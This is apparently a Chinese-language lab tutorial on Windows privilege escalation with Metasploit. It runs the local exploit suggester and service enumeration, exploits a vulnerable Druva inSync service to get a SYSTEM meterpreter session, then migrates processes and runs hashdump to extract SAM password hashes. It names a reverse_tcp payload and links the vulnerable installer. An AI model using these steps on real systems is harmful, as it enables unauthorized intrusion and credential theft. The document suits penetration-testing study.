前言
成功透過 Metasploit 建立 meterpreter session 時,可以透過 hashdump
將 Security Accounts Manager (SAM) 資料 dump 出來,但如果使用者的權限不足,這時就需要提升權限。
可以透過 metasploit Suggester 來掃看看受害電腦可能有那些被提權的攻擊模組,
或是查看有那些有漏洞的 Service 可以讓我們以它的身份建立 meterpreter session。
透過 metasploit Suggester
1.當已建立好 session 後,bg
,回到 msfconsole
,輸入 search suggester
,然後使用 post/multi/recon/local_exploit_suggester
1 | search suggester |


2.使用 local_exploit_suggester 建議的模組,大多數只需要設定 SESSION 參數後,執行 run
即可


註:如果顯示 Payload arch must match target arch 代表目前的 payload 的 arch 不對,因為預設是 x86 ,所以要改以 x64 的 payload ,例如 set payload windows/x64/meterpreter/reverse_tcp
查看有那些有漏洞的 Service
1.使用 use post/windows/gather/enum_services
來查看有那些 Services
1 | use post/windows/gather/enum_services |

2.發現 Druva 的 inSyncCPHService 似乎有漏洞可利用

註: 有問題的 Druva 可以從以下URL 下載 https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
3.使用 Druva 的攻擊模組來取得 system 權限的 meterpreter session
1 | search druva |



3.成功透過 Service 漏洞取得 System 的 session,下 getuid
,為 system 帳號
1 | getuid |

4.下 ps
來查看受害電腦中的 process, 並下 getpid
來查看目前的 process id,並下hashdump
來取得 Security Accounts Manager (SAM) db 的資料
1 | ps |

註:如果 process 的 Arch 不同 OS 在執行 hashdump 時,會有 priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. 的錯誤。所以可以透過 migrate [pid]
來使用適合 Arch 的 Process,再執行 hashdump
註:以上有漏洞的軟體,測試後,請記得將它移除哦 ^_^